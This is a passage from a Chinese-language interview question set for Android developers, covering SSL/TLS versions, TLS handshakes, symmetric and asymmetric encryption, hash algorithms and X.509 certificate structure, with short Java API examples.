  • 禁用TLS 1.0/1.1
  • 使用现代TLS版本

10.10 SSL和TLS的区别是什么?

答案:

SSL和TLS的主要区别:

  1. 版本关系

    • SSL:旧协议(SSL 1.0-3.0)
    • TLS:新协议(TLS 1.0-1.3)
    • TLS是SSL的后续版本
  2. 安全性

    • SSL:已废弃,不安全
    • TLS:当前标准,安全
  3. 使用状态

    • SSL:不推荐使用
    • TLS:推荐使用
  4. 名称

    • SSL:Secure Sockets Layer
    • TLS:Transport Layer Security

对比表:

特性SSLTLS
版本SSL 1.0-3.0TLS 1.0-1.3
状态已废弃当前标准
安全性不安全安全
使用不推荐推荐
关系旧协议SSL的后续版本

详细说明:

  1. SSL

    • SSL 1.0:未发布
    • SSL 2.0:已废弃(不安全)
    • SSL 3.0:已废弃(不安全,POODLE攻击)
  2. TLS

    • TLS 1.0:已废弃(不安全)
    • TLS 1.1:已废弃(不安全)
    • TLS 1.2:当前标准(推荐)
    • TLS 1.3:最新版本(推荐)

最佳实践:

  • 不使用SSL
  • 使用TLS 1.2+
  • 禁用SSL 2.0/3.0
  • 禁用TLS 1.0/1.1

Android代码示例:

// 使用TLS,而不是SSL
SSLContext sslContext = SSLContext.getInstance("TLS");
// 获取TLS实现,不是SSL

// 配置TLS版本
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");
// 使用TLS 1.2

10.11 TLS的版本有哪些?

答案:

TLS的版本:

  1. TLS 1.0

    • 已废弃(不安全)
    • 不推荐使用
  2. TLS 1.1

    • 已废弃(不安全)
    • 不推荐使用
  3. TLS 1.2

    • 当前标准(推荐)
    • 广泛使用
    • 安全性好
  4. TLS 1.3

    • 最新版本(推荐)
    • 性能更好
    • 安全性更好

TLS版本对比:

版本状态安全性性能使用
TLS 1.0已废弃不安全一般不推荐
TLS 1.1已废弃不安全一般不推荐
TLS 1.2当前标准安全推荐
TLS 1.3最新版本更安全更好推荐

Android代码示例:

// TLS 1.2(推荐)
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");

// TLS 1.3(最新,如果支持)
SSLContext sslContext = SSLContext.getInstance("TLSv1.3");

// 默认TLS(通常是1.2)
SSLContext sslContext = SSLContext.getInstance("TLS");

最佳实践:

  • 使用TLS 1.2+
  • 优先使用TLS 1.3
  • 禁用TLS 1.0/1.1
  • 检查TLS版本支持

10.12 TLS 1.0、1.1、1.2、1.3的区别是什么?

答案:

TLS 1.0、1.1、1.2、1.3的主要区别:

  1. 安全性

    • TLS 1.0/1.1:已废弃,不安全
    • TLS 1.2:安全
    • TLS 1.3:更安全
  2. 性能

    • TLS 1.0/1.1:一般
    • TLS 1.2:好
    • TLS 1.3:更好(握手更快)
  3. 加密算法

    • TLS 1.0/1.1:旧算法(不安全)
    • TLS 1.2:现代算法(AES、SHA-256)
    • TLS 1.3:最新算法(AES-GCM、ChaCha20)
  4. 握手过程

    • TLS 1.0/1.1:完整握手
    • TLS 1.2:完整握手
    • TLS 1.3:简化握手(1-RTT)

对比表:

特性TLS 1.0TLS 1.1TLS 1.2TLS 1.3
状态已废弃已废弃当前标准最新版本
安全性不安全不安全安全更安全
性能一般一般更好
握手次数2-RTT2-RTT2-RTT1-RTT
加密算法现代最新
使用不推荐不推荐推荐推荐

详细说明:

  1. TLS 1.0/1.1(已废弃)

    • 安全性差
    • 存在已知漏洞
    • 不推荐使用
  2. TLS 1.2(当前标准)

    • 安全性好
    • 广泛使用
    • 推荐使用
  3. TLS 1.3(最新版本)

    • 安全性更好
    • 性能更好(1-RTT握手)
    • 推荐使用(如果支持)

Android代码示例:

// TLS 1.2(推荐)
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");

// TLS 1.3(最新,如果支持)
SSLContext sslContext = SSLContext.getInstance("TLSv1.3");

// 检查TLS版本支持
SSLContext sslContext = SSLContext.getDefault();
SSLParameters params = sslContext.getDefaultSSLParameters();
String[] protocols = params.getProtocols();
// 检查支持的TLS版本

最佳实践:

  • 使用TLS 1.2+
  • 优先使用TLS 1.3
  • 禁用TLS 1.0/1.1
  • 检查版本支持

10.13 为什么SSL被TLS取代?

答案:

SSL被TLS取代的原因:

  1. 安全性

    • SSL存在已知漏洞
    • SSL 2.0/3.0不安全
    • TLS更安全
  2. 标准化

    • SSL是Netscape的专有协议
    • TLS是IETF标准协议
    • 更开放、更标准
  3. 性能

    • TLS性能更好
    • 优化更好
    • 更高效
  4. 维护

    • SSL不再维护
    • TLS持续更新
    • 更好的支持

详细说明:

  1. 安全性问题

    • SSL 2.0:存在已知漏洞,已废弃
    • SSL 3.0:存在POODLE攻击,已废弃
    • TLS:更安全,持续更新
  2. 标准化

    • SSL:Netscape专有协议
    • TLS:IETF标准(RFC 2246等)
    • 更开放、更标准
  3. 维护和支持

    • SSL:不再维护
    • TLS:持续更新(TLS 1.2、1.3)
    • 更好的支持

最佳实践:

  • 不使用SSL
  • 使用TLS 1.2+
  • 禁用SSL 2.0/3.0
  • 使用现代TLS版本

Android代码示例:

// 不使用SSL
// SSLContext.getInstance("SSL");  // 不推荐

// 使用TLS
SSLContext sslContext = SSLContext.getInstance("TLS");
// 使用TLS实现

10.14 HTTPS的握手过程是什么?

答案:

HTTPS的握手过程(SSL/TLS握手):

TLS 1.2握手过程(2-RTT):

  1. 客户端Hello

    客户端 → 服务器:
      - TLS版本
      - 支持的加密套件
      - 客户端随机数
      - 支持的压缩方法
    
  2. 服务器Hello + 证书

    服务器 → 客户端:
      - 选择的TLS版本
      - 选择的加密套件
      - 服务器随机数
      - 服务器证书(包含公钥)
      - 服务器Hello Done
    
  3. 证书验证

    客户端:
      - 验证证书(CA、有效期等)
      - 提取服务器公钥
    
  4. 客户端密钥交换

    客户端 → 服务器:
      - 使用服务器公钥加密的对称密钥
      - Change Cipher Spec
      - Finished
    
  5. 服务器确认

    服务器 → 客户端:
      - Change Cipher Spec
      - Finished
    
  6. 完成握手

    双方:
      - 生成会话密钥
      - 开始加密通信
    

TLS 1.3握手过程(1-RTT):

  1. 客户端Hello

    客户端 → 服务器:
      - TLS 1.3版本
      - 支持的加密套件
      - 客户端随机数
      - 密钥共享(Key Share)
    
  2. 服务器Hello + Finished

    服务器 → 客户端:
      - 选择的TLS版本
      - 选择的加密套件
      - 服务器随机数
      - 密钥共享(Key Share)
      - 证书
      - Finished
    
  3. 完成握手

    客户端:
      - 验证证书
      - 生成会话密钥
      - 发送Finished
    
    双方:
      - 开始加密通信
    

握手过程对比:

特性TLS 1.2TLS 1.3
握手次数2-RTT1-RTT
时间~200-300ms~100-150ms
步骤5步2步
性能更好

Android代码示例:

// HTTPS握手(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理握手
// 1. 客户端Hello
// 2. 服务器Hello + 证书
// 3. 证书验证
// 4. 密钥交换
// 5. 完成握手

conn.connect();  // 握手完成

握手目的:

  • 协商加密算法
  • 交换密钥
  • 验证身份
  • 建立安全连接

10.15 TLS握手需要几次往返?

答案:

TLS握手需要的往返次数取决于TLS版本:

  1. TLS 1.2

    • 2次往返(2-RTT)
    • 客户端Hello → 服务器Hello + 证书
    • 客户端密钥交换 → 服务器确认
  2. TLS 1.3

    • 1次往返(1-RTT)
    • 客户端Hello → 服务器Hello + Finished
    • 优化后的握手

往返次数对比:

TLS版本往返次数时间
TLS 1.22-RTT~200-300ms
TLS 1.31-RTT~100-150ms

详细说明:

  1. TLS 1.2(2-RTT)

    往返1:
      客户端 → 服务器:客户端Hello
      服务器 → 客户端:服务器Hello + 证书
    
    往返2:
      客户端 → 服务器:客户端密钥交换
      服务器 → 客户端:服务器确认
    
  2. TLS 1.3(1-RTT)

    往返1:
      客户端 → 服务器:客户端Hello(包含密钥共享)
      服务器 → 客户端:服务器Hello + 证书 + Finished
      客户端:验证证书,发送Finished
    

Android代码示例:

// TLS握手(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// TLS 1.2:2-RTT(约200-300ms)
// TLS 1.3:1-RTT(约100-150ms)

conn.connect();  // 握手完成

性能优化:

  • 使用TLS 1.3(1-RTT)
  • 使用会话复用(0-RTT,如果支持)
  • 减少握手时间

最佳实践:

  • 使用TLS 1.3(1-RTT)
  • 使用会话复用
  • 优化握手性能

第十一章:HTTPS 加密机制(20 题)

11.1 对称加密和非对称加密的区别是什么?

答案:

对称加密和非对称加密的主要区别:

  1. 密钥使用

    • 对称加密:使用相同的密钥加密和解密
    • 非对称加密:使用公钥加密,私钥解密(或私钥签名,公钥验证)
  2. 密钥数量

    • 对称加密:1个密钥(共享密钥)
    • 非对称加密:2个密钥(公钥和私钥)
  3. 性能

    • 对称加密:快,适合大量数据
    • 非对称加密:慢,适合少量数据(如密钥交换)
  4. 安全性

    • 对称加密:密钥需要安全传输
    • 非对称加密:公钥可以公开,私钥保密

对比表:

特性对称加密非对称加密
密钥数量1个2个(公钥+私钥)
密钥使用相同密钥公钥加密/私钥解密
性能
适用场景大量数据少量数据(密钥交换)
密钥传输需要安全传输公钥可公开
算法示例AES、DESRSA、ECC

示例:

对称加密(AES):

// 使用相同的密钥加密和解密
String key = "1234567890123456";  // 16字节密钥
String data = "Hello World";

// 加密
byte[] encrypted = AES.encrypt(data, key);

// 解密
String decrypted = AES.decrypt(encrypted, key);

非对称加密(RSA):

// 生成密钥对
KeyPair keyPair = RSA.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();

// 使用公钥加密
byte[] encrypted = RSA.encrypt(data, publicKey);

// 使用私钥解密
String decrypted = RSA.decrypt(encrypted, privateKey);

在HTTPS中的应用:

  • 非对称加密:交换对称加密密钥(握手阶段)
  • 对称加密:加密实际数据(数据传输阶段)
  • 混合加密:结合两者优势

11.2 对称加密的优缺点是什么?

答案:

对称加密的优缺点:

优点:

  1. 性能好

    • 加密/解密速度快
    • 适合大量数据
    • CPU消耗低
  2. 实现简单

    • 算法简单
    • 实现容易
    • 代码简洁
  3. 资源消耗低

    • 内存消耗低
    • CPU消耗低
    • 适合移动设备

缺点:

  1. 密钥管理困难

    • 密钥需要安全传输
    • 密钥分发困难
    • 密钥存储困难
  2. 安全性依赖密钥

    • 密钥泄露会破坏安全性
    • 需要安全传输密钥
    • 密钥管理复杂
  3. 密钥数量多

    • 每个通信对需要不同密钥
    • 密钥数量随通信对数量增加
    • 密钥管理复杂

使用场景:

  • 大量数据加密
  • 数据传输加密
  • 文件加密
  • 数据库加密

HTTPS中的应用:

  • 用于加密实际数据
  • 密钥通过非对称加密安全交换
  • 性能好,适合大量数据

11.3 非对称加密的优缺点是什么?

答案:

非对称加密的优缺点:

优点:

  1. 安全性好

    • 公钥可以公开
    • 私钥保密即可
    • 密钥分发容易
  2. 密钥管理简单

    • 公钥可以公开分发
    • 私钥只需自己保管
    • 密钥数量少
  3. 支持数字签名

    • 私钥签名
    • 公钥验证
    • 身份验证和完整性

缺点:

  1. 性能差

    • 加密/解密速度慢
    • 不适合大量数据
    • CPU消耗高
  2. 实现复杂

    • 算法复杂
    • 实现困难
    • 代码复杂
  3. 资源消耗高

    • 内存消耗高
    • CPU消耗高
    • 不适合低性能设备

使用场景:

  • 密钥交换
  • 数字签名
  • 身份验证
  • 少量数据加密

HTTPS中的应用:

  • 用于交换对称加密密钥
  • 用于身份验证(证书)
  • 用于数字签名
  • 不用于加密大量数据

11.4 HTTPS使用哪种加密方式?

答案:

HTTPS使用混合加密(Hybrid Encryption),结合对称加密和非对称加密。

HTTPS加密方式:

  1. 握手阶段(非对称加密)

    • 使用非对称加密(RSA/ECC)
    • 交换对称加密密钥
    • 验证服务器身份(证书)
  2. 数据传输阶段(对称加密)

    • 使用对称加密(AES)
    • 加密实际数据
    • 性能好

混合加密流程:

握手阶段(非对称加密):
  客户端 → 服务器:使用服务器公钥加密对称密钥
  服务器:使用私钥解密对称密钥
  双方:获得相同的对称密钥

数据传输阶段(对称加密):
  客户端 → 服务器:使用对称密钥加密数据
  服务器 → 客户端:使用对称密钥加密数据

为什么使用混合加密?

  1. 非对称加密的问题

    • 性能差,不适合大量数据
    • 如果只用非对称加密,性能无法接受
  2. 对称加密的问题

    • 密钥需要安全传输
    • 如果只用对称加密,密钥传输不安全
  3. 混合加密的优势

    • 非对称加密:安全交换密钥
    • 对称加密:高效加密数据
    • 结合两者优势

Android代码示例:

// HTTPS自动处理混合加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)
// 代码层面无需关心加密细节

总结:

  • HTTPS使用混合加密
  • 非对称加密:交换密钥
  • 对称加密:加密数据
  • 兼顾安全性和性能

11.5 混合加密是什么?

答案:

混合加密(Hybrid Encryption)是结合对称加密和非对称加密的加密方式

混合加密原理:

  1. 非对称加密部分

    • 使用非对称加密(RSA/ECC)
    • 交换对称加密密钥
    • 安全传输密钥
  2. 对称加密部分

    • 使用对称加密(AES)
    • 加密实际数据
    • 高效加密数据

混合加密流程:

步骤1:密钥交换(非对称加密)
  客户端生成对称密钥
  客户端使用服务器公钥加密对称密钥
  客户端发送加密的对称密钥给服务器
  服务器使用私钥解密对称密钥
  双方获得相同的对称密钥

步骤2:数据加密(对称加密)
  客户端使用对称密钥加密数据
  客户端发送加密数据给服务器
  服务器使用对称密钥解密数据
  服务器使用对称密钥加密响应
  服务器发送加密响应给客户端
  客户端使用对称密钥解密响应

混合加密优势:

  1. 安全性

    • 非对称加密保证密钥安全传输
    • 对称加密保证数据安全传输
  2. 性能

    • 非对称加密只用于密钥交换(少量数据)
    • 对称加密用于数据加密(大量数据)
    • 性能好
  3. 实用性

    • 兼顾安全性和性能
    • 实际应用中广泛使用
    • HTTPS、SSH等都使用混合加密

Android代码示例:

// HTTPS使用混合加密(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理混合加密
// 1. 握手阶段:非对称加密交换密钥
// 2. 数据传输阶段:对称加密加密数据
conn.connect();

总结:

  • 混合加密 = 非对称加密(密钥交换) + 对称加密(数据加密)
  • 兼顾安全性和性能
  • HTTPS使用混合加密

11.6 混合加密的优势是什么?

答案:

混合加密的优势:

  1. 兼顾安全性和性能

    • 非对称加密:安全交换密钥
    • 对称加密:高效加密数据
    • 结合两者优势
  2. 安全性好

    • 非对称加密保证密钥安全传输
    • 对称加密保证数据安全传输
    • 整体安全性高
  3. 性能好

    • 非对称加密只用于密钥交换(少量数据,开销可接受)
    • 对称加密用于数据加密(大量数据,性能好)
    • 整体性能好
  4. 实用性高

    • 实际应用中广泛使用
    • HTTPS、SSH、VPN等都使用
    • 成熟可靠

对比:

特性只用非对称加密只用对称加密混合加密
安全性差(密钥传输不安全)
性能
密钥管理简单复杂简单
实用性

总结:

  • 混合加密兼顾安全性和性能
  • 实际应用中广泛使用
  • HTTPS使用混合加密

11.7 常见的对称加密算法有哪些?

答案:

常见的对称加密算法:

  1. AES(Advanced Encryption Standard)

    • 当前标准
    • 安全性好
    • 性能好
    • 推荐使用
  2. DES(Data Encryption Standard)

    • 已废弃
    • 安全性差(密钥长度56位)
    • 不推荐使用
  3. 3DES(Triple DES)

    • DES的三次加密
    • 安全性一般
    • 性能差
    • 不推荐使用
  4. ChaCha20

    • 现代算法
    • 性能好
    • 安全性好
    • 推荐使用

算法对比:

算法密钥长度安全性性能使用
AES128/192/256位推荐
DES56位一般不推荐
3DES112/168位不推荐
ChaCha20256位推荐

Android代码示例:

// AES加密
Cipher cipher = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(data);

最佳实践:

  • 使用AES-256(推荐)
  • 使用ChaCha20(备选)
  • 不使用DES/3DES
  • 使用现代加密算法

11.8 AES加密的原理是什么?

答案:

AES(Advanced Encryption Standard)加密的原理:

  1. 基本概念

    • 分组密码算法
    • 分组长度:128位(16字节)
    • 密钥长度:128/192/256位
  2. 加密过程

    • 将数据分成128位块
    • 对每个块进行加密
    • 使用轮函数(Round Function)
  3. 轮函数

    • SubBytes:字节替换
    • ShiftRows:行移位
    • MixColumns:列混合
    • AddRoundKey:轮密钥加

加密流程:

明文 → 初始轮密钥加 → 轮函数(N-1次) → 最终轮 → 密文

AES参数:

密钥长度轮数
128位10轮
192位12轮
256位14轮

Android代码示例:

// AES-256加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");  // 256位密钥
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[] encrypted = cipher.doFinal(data);

AES特点:

  • 安全性好
  • 性能好
  • 当前标准
  • 广泛使用

最佳实践:

  • 使用AES-256
  • 使用CBC或GCM模式
  • 使用随机IV
  • 使用PKCS5Padding

11.9 DES加密的原理是什么?

答案:

DES(Data Encryption Standard)加密的原理:

  1. 基本概念

    • 分组密码算法
    • 分组长度:64位(8字节)
    • 密钥长度:56位(实际64位,8位校验)
  2. 加密过程

    • 将数据分成64位块
    • 对每个块进行加密
    • 使用Feistel结构
  3. DES状态

    • 已废弃
    • 安全性差(密钥长度太短)
    • 不推荐使用

DES问题:

  • 密钥长度太短(56位)
  • 容易被暴力破解
  • 已不再安全

Android代码示例:

// DES(不推荐使用)
Cipher cipher = Cipher.getInstance("DES");
SecretKeySpec keySpec = new SecretKeySpec(key, "DES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(data);

最佳实践:

  • 不使用DES
  • 使用AES替代
  • 使用现代加密算法

11.10 3DES加密的原理是什么?

答案:

3DES(Triple DES)加密的原理:

  1. 基本概念

    • DES的三次加密
    • 使用2或3个DES密钥
    • 提高安全性
  2. 加密过程

    • 加密-解密-加密(EDE)
    • 或加密-加密-加密(EEE)
  3. 3DES状态

    • 已废弃
    • 性能差(三次DES运算)
    • 不推荐使用

3DES问题:

  • 性能差(三次DES运算)
  • 安全性一般
  • 已不推荐使用

最佳实践:

  • 不使用3DES
  • 使用AES替代
  • 使用现代加密算法

11.11 AES、DES、3DES的区别是什么?

答案:

AES、DES、3DES的主要区别:

  1. 密钥长度

    • AES:128/192/256位
    • DES:56位
    • 3DES:112/168位
  2. 安全性

    • AES:高
    • DES:低(已废弃)
    • 3DES:中(已废弃)
  3. 性能

    • AES:好
    • DES:一般
    • 3DES:差(三次DES运算)
  4. 使用状态

    • AES:当前标准,推荐使用
    • DES:已废弃,不推荐使用
    • 3DES:已废弃,不推荐使用

对比表:

特性AESDES3DES
密钥长度128/192/256位56位112/168位
安全性
性能一般
状态推荐使用已废弃已废弃

最佳实践:

  • 使用AES-256
  • 不使用DES/3DES
  • 使用现代加密算法

11.12 常见的非对称加密算法有哪些?

答案:

常见的非对称加密算法:

  1. RSA(Rivest-Shamir-Adleman)

    • 最常用
    • 安全性好
    • 性能一般
    • 广泛应用
  2. ECC(Elliptic Curve Cryptography)

    • 现代算法
    • 安全性好
    • 性能好(密钥短)
    • 推荐使用
  3. Diffie-Hellman(DH)

    • 密钥交换算法
    • 不用于加密
    • 用于密钥协商

算法对比:

算法密钥长度安全性性能使用
RSA-20482048位一般常用
RSA-40964096位很高不常用
ECC-256256位推荐
ECC-384384位很高推荐

Android代码示例:

// RSA加密
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();

Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
byte[] encrypted = cipher.doFinal(data);

最佳实践:

  • 使用ECC-256(推荐,性能好)
  • 使用RSA-2048(兼容性好)
  • 不使用RSA-1024(不安全)
  • 使用现代加密算法

11.13 RSA加密的原理是什么?

答案:

RSA加密的原理基于大数分解的数学难题

RSA原理:

  1. 密钥生成

    • 选择两个大质数p和q
    • 计算n = p × q
    • 计算φ(n) = (p-1) × (q-1)
    • 选择公钥指数e(与φ(n)互质)
    • 计算私钥指数d(e × d ≡ 1 mod φ(n))
    • 公钥:(n, e)
    • 私钥:(n, d)
  2. 加密过程

    • 明文m(m < n)
    • 密文c = m^e mod n
  3. 解密过程

    • 密文c
    • 明文m = c^d mod n

RSA安全性:

  • 基于大数分解难题
  • 密钥长度越长越安全
  • RSA-2048:当前标准
  • RSA-1024:已不安全

RSA特点:

  • 安全性好
  • 性能一般(密钥长)
  • 兼容性好
  • 广泛应用

最佳实践:

  • 使用RSA-2048+
  • 不使用RSA-1024
  • 考虑使用ECC(性能更好)

11.14 RSA加密的优缺点是什么?

答案:

RSA加密的优缺点:

优点:

  1. 安全性好

    • 基于大数分解难题
    • 密钥长度足够时安全性高
    • 广泛应用
  2. 兼容性好

    • 支持广泛
    • 大多数系统支持
    • 成熟可靠
  3. 功能完整

    • 加密/解密
    • 数字签名
    • 密钥交换

缺点:

  1. 性能差

    • 密钥长(2048位)
    • 加密/解密慢
    • CPU消耗高
  2. 密钥长度长

    • RSA-2048:2048位
    • RSA-4096:4096位
    • 比ECC长得多
  3. 不适合大量数据

    • 加密速度慢
    • 不适合加密大量数据
    • 主要用于密钥交换

使用场景:

  • 密钥交换
  • 数字签名
  • 身份验证
  • 少量数据加密

HTTPS中的应用:

  • 用于交换对称加密密钥
  • 用于数字签名(证书)
  • 不用于加密大量数据

最佳实践:

  • 使用RSA-2048+
  • 用于密钥交换和签名
  • 考虑使用ECC(性能更好)

11.15 ECC加密的原理是什么?

答案:

ECC(Elliptic Curve Cryptography)加密的原理基于椭圆曲线离散对数难题

ECC原理:

  1. 椭圆曲线

    • 椭圆曲线方程:y² = x³ + ax + b
    • 椭圆曲线上的点
    • 点加法运算
  2. 密钥生成

    • 选择椭圆曲线和基点G
    • 选择私钥d(随机数)
    • 计算公钥Q = d × G
    • 公钥:Q
    • 私钥:d
  3. 加密过程

    • 选择随机数k
    • 计算C1 = k × G
    • 计算C2 = M + k × Q
    • 密文:(C1, C2)
  4. 解密过程

    • 计算M = C2 - d × C1
    • 得到明文M

ECC优势:

  • 密钥短(256位)
  • 性能好
  • 安全性高
  • 现代算法

ECC vs RSA:

特性RSA-2048ECC-256
密钥长度2048位256位
安全性高(等价RSA-3072)
性能一般
使用常用推荐

最佳实践:

  • 使用ECC-256(推荐)
  • 性能好,安全性高
  • 现代TLS推荐使用

11.16 RSA和ECC的区别是什么?

答案:

RSA和ECC的主要区别:

  1. 密钥长度

    • RSA:长(2048位)
    • ECC:短(256位)
  2. 性能

    • RSA:一般(密钥长,运算慢)
    • ECC:好(密钥短,运算快)
  3. 安全性

    • RSA-2048:高
    • ECC-256:高(等价RSA-3072)
  4. 兼容性

    • RSA:兼容性好(广泛支持)
    • ECC:兼容性一般(需要支持)
  5. 使用场景

    • RSA:兼容性要求高的场景
    • ECC:性能要求高的场景(推荐)

对比表:

特性RSA-2048ECC-256
密钥长度2048位256位
安全性高(等价RSA-3072)
性能一般
兼容性一般
使用常用推荐

最佳实践:

  • 优先使用ECC-256(性能好)
  • 需要兼容性时使用RSA-2048
  • 现代TLS推荐使用ECC

11.17 哈希算法的作用是什么?

答案:

哈希算法(Hash Algorithm)的作用:

  1. 数据完整性验证

    • 生成数据摘要
    • 验证数据是否被篡改
    • 保证数据完整性
  2. 数字签名

    • 对哈希值签名
    • 验证签名
    • 保证身份和完整性
  3. 密码存储

    • 存储密码哈希
    • 不存储明文密码
    • 提高安全性
  4. 快速查找

    • 哈希表
    • 快速定位数据
    • 提高性能

哈希算法特点:

  • 单向性:无法从哈希值恢复原数据
  • 确定性:相同输入产生相同输出
  • 雪崩效应:输入微小变化导致输出巨大变化
  • 抗碰撞性:很难找到两个不同的输入产生相同的哈希值

在HTTPS中的作用:

  • 生成MAC(消息认证码)
  • 数字签名
  • 证书签名
  • 保证数据完整性

Android代码示例:

// SHA-256哈希
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);
String hashString = bytesToHex(hash);

最佳实践:

  • 使用SHA-256+
  • 不使用MD5/SHA-1(不安全)
  • 用于数据完整性验证

11.18 常见的哈希算法有哪些?

答案:

常见的哈希算法:

  1. SHA-256(Secure Hash Algorithm 256)

    • 当前标准
    • 安全性好
    • 推荐使用
  2. SHA-384(Secure Hash Algorithm 384)

    • 安全性好
    • 哈希长度384位
    • 推荐使用
  3. SHA-512(Secure Hash Algorithm 512)

    • 安全性好
    • 哈希长度512位
    • 推荐使用
  4. SHA-1(Secure Hash Algorithm 1)

    • 已废弃
    • 安全性差
    • 不推荐使用
  5. MD5(Message Digest 5)

    • 已废弃
    • 安全性差
    • 不推荐使用

算法对比:

算法哈希长度安全性使用
MD5128位低(已破解)不推荐
SHA-1160位低(已破解)不推荐
SHA-256256位推荐
SHA-384384位推荐
SHA-512512位推荐

最佳实践:

  • 使用SHA-256+
  • 不使用MD5/SHA-1
  • 使用现代哈希算法

11.19 MD5、SHA-1、SHA-256的区别是什么?

答案:

MD5、SHA-1、SHA-256的主要区别:

  1. 哈希长度

    • MD5:128位
    • SHA-1:160位
    • SHA-256:256位
  2. 安全性

    • MD5:低(已破解)
    • SHA-1:低(已破解)
    • SHA-256:高(当前安全)
  3. 使用状态

    • MD5:已废弃,不推荐使用
    • SHA-1:已废弃,不推荐使用
    • SHA-256:当前标准,推荐使用
  4. 性能

    • MD5:快(但已不安全)
    • SHA-1:快(但已不安全)
    • SHA-256:稍慢(但安全)

对比表:

特性MD5SHA-1SHA-256
哈希长度128位160位256位
安全性低(已破解)低(已破解)
性能稍慢
状态已废弃已废弃推荐使用

最佳实践:

  • 使用SHA-256+
  • 不使用MD5/SHA-1
  • 使用现代哈希算法

11.20 哈希算法在HTTPS中的作用是什么?

答案:

哈希算法在HTTPS中的作用:

  1. MAC(消息认证码)

    • 生成消息摘要
    • 验证数据完整性
    • 防止数据被篡改
  2. 数字签名

    • 对证书哈希值签名
    • 验证证书真实性
    • 保证证书完整性
  3. 密钥派生

    • 从主密钥派生会话密钥
    • 生成各种密钥材料
    • 保证密钥安全性
  4. 完整性校验

    • 验证传输数据完整性
    • 检测数据是否被篡改
    • 保证数据安全

HTTPS中使用场景:

  1. TLS握手

    • 证书签名验证
    • 密钥交换验证
    • 握手完整性
  2. 数据传输

    • 生成MAC
    • 验证数据完整性
    • 防止数据被篡改
  3. 证书验证

    • 证书签名验证
    • 证书链验证
    • 保证证书真实性

Android代码示例:

// HTTPS中哈希算法自动使用
// SSL/TLS自动处理:
// 1. 证书签名验证(SHA-256)
// 2. MAC生成(HMAC-SHA256)
// 3. 完整性校验

URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动使用哈希算法

最佳实践:

  • HTTPS使用SHA-256+
  • 不使用MD5/SHA-1
  • 使用现代哈希算法
  • 保证数据完整性

第十二章:HTTPS 证书(15 题)

12.1 HTTPS证书的作用是什么?

答案:

HTTPS证书(数字证书)的作用:

  1. 身份验证

    • 验证服务器身份
    • 证明服务器是合法的
    • 防止中间人攻击
  2. 公钥分发

    • 包含服务器公钥
    • 客户端使用公钥加密数据
    • 安全交换密钥
  3. 建立信任

    • 由CA(证书颁发机构)签名
    • 建立信任链
    • 用户信任CA,从而信任服务器
  4. 数据完整性

    • 证书包含数字签名
    • 验证证书未被篡改
    • 保证证书完整性

证书在HTTPS中的作用:

  • 握手阶段:服务器发送证书给客户端
  • 客户端验证证书:检查CA、有效期等
  • 提取公钥:从证书中提取服务器公钥
  • 建立信任:通过证书建立安全连接

Android代码示例:

// HTTPS自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理证书验证
// 1. 接收服务器证书
// 2. 验证证书(CA、有效期等)
// 3. 提取公钥
// 4. 建立安全连接

总结:

  • 证书用于身份验证
  • 证书包含服务器公钥
  • 证书由CA签名
  • 证书建立信任链

12.2 数字证书的结构是什么?

答案:

数字证书的结构(X.509标准):

  1. 版本号(Version)

    • 证书版本(v1、v2、v3)
  2. 序列号(Serial Number)

    • 证书唯一标识
  3. 签名算法(Signature Algorithm)

    • 证书签名使用的算法
    • 例如:SHA256withRSA
  4. 颁发者(Issuer)

    • CA信息
    • CA名称、国家等
  5. 有效期(Validity)

    • 生效时间(Not Before)
    • 过期时间(Not After)
  6. 主体(Subject)

    • 证书持有者信息
    • 域名、组织等
  7. 公钥信息(Subject Public Key Info)

    • 公钥算法
    • 公钥数据
  8. 扩展(Extensions)

    • 扩展信息
    • 例如:SAN(Subject Alternative Name)
  9. 签名(Signature)

    • CA对证书的签名
    • 验证证书真实性

证书结构示例:

Certificate:
    Version: 3
    Serial Number: 1234567890
    Signature Algorithm: SHA256withRSA
    Issuer: CN=Let's Encrypt, O=Let's Encrypt
    Validity:
        Not Before: 2024-01-01
        Not After: 2024-04-01
    Subject: CN=www.example.com
    Subject Public Key Info:
        Algorithm: RSA
        Public Key: [公钥数据]
    Extensions:
        Subject Alternative Name: www.example.com, example.com
    Signature: [CA签名]

Android代码示例:

// 读取证书信息
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
Certificate[] certificates = conn.getServerCertificates();
X509Certificate cert = (X509Certificate) certificates[0];

// 获取证书信息
String subject = cert.getSubjectDN().getName();
String issuer = cert.getIssuerDN().getName();
Date notBefore = cert.getNotBefore();
Date notAfter = cert.getNotAfter();
